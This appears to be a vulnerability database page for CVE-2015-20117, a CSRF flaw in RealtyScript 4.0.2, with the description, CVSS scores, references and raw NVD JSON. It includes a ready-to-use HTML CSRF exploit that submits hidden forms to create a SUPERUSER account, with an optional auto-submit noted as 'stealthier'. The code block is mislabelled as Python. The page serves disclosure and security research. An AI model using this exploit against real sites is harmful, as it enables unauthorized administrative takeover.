CVE-2015-20117

Description

Next Click Ventures RealtyScript 4.0.2 contains a cross-site request forgery vulnerability that allows unauthenticated attackers to create unauthorized user accounts and administrative users by crafting malicious forms. Attackers can submit hidden form data to /admin/addusers.php and /admin/editadmins.php endpoints to register new users with arbitrary credentials and escalate privileges to SUPERUSER level.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nextclickventures:realtyscript:4.0.2:*:*:*:*:*:*:* - VULNERABLE

Next Click Ventures RealtyScript 4.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>RealtyScript CSRF Exploit - CVE-2015-20117</title> </head> <body> <h2>CVE-2015-20117 CSRF Exploit</h2> <p>Submit this form to create an unauthorized admin user...</p>  <form action="http://target-site.com/admin/addusers.php" method="POST" id="exploitForm"> <input type="hidden" name="username" value="attacker_pwned" /> <input type="hidden" name="password" value="P@ssw0rd123!" /> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="role" value="SUPERUSER" /> <input type="hidden" name="privilege_level" value="99" /> <input type="hidden" name="submit" value="Add User" /> </form>  <form action="http://target-site.com/admin/editadmins.php" method="POST" id="privilegeEscalation"> <input type="hidden" name="user_id" value="1" /> <input type="hidden" name="new_role" value="SUPERUSER" /> <input type="hidden" name="submit" value="Update" /> </form> <script> // Auto-submit on page load (for stealthier attack) // document.getElementById('exploitForm').submit(); console.log('CSRF PoC loaded - form ready for submission'); </script> <p><button onclick="document.getElementById('exploitForm').submit()">Execute Exploit</button></p> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2015-20117
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2015-20117
[3] CVE Details https://www.cvedetails.com/cve/CVE-2015-20117/
[4] VulDB https://vuldb.com/cve/CVE-2015-20117
[5] https://www.exploit-db.com/exploits/38496
[6] https://www.vulncheck.com/advisories/realtyscript-cross-site-request-forgery-unauthorized-user-creation
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5269.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2015-20117", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:47.260", "lastModified": "2026-03-19T14:13:34.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next Click Ventures RealtyScript 4.0.2 contains a cross-site request forgery vulnerability that allows unauthenticated attackers to create unauthorized user accounts and administrative users by crafting malicious forms. Attackers can submit hidden form data to /admin/addusers.php and /admin/editadmins.php endpoints to register new users with arbitrary credentials and escalate privileges to SUPERUSER level."}, {"lang": "es", "value": "Next Click Ventures RealtyScript 4.0.2 contiene una vulnerabilidad de falsificación de petición en sitios cruzados que permite a atacantes no autenticados crear cuentas de usuario no autorizadas y usuarios administrativos mediante la creación de formularios maliciosos. Los atacantes pueden enviar datos de formulario ocultos a los puntos finales /admin/addusers.PHP y /admin/editadmins.PHP para registrar nuevos usuarios con credenciales arbitrarias y escalar privilegios a nivel SUPERUSER."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextclickventures:realtyscript:4.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "237FBCF4-383B-4460-82EF-FC61A749D53B"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/38496", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/realtyscript-cross-site-request-forgery-unauthorized-user-creation", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5269.php", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}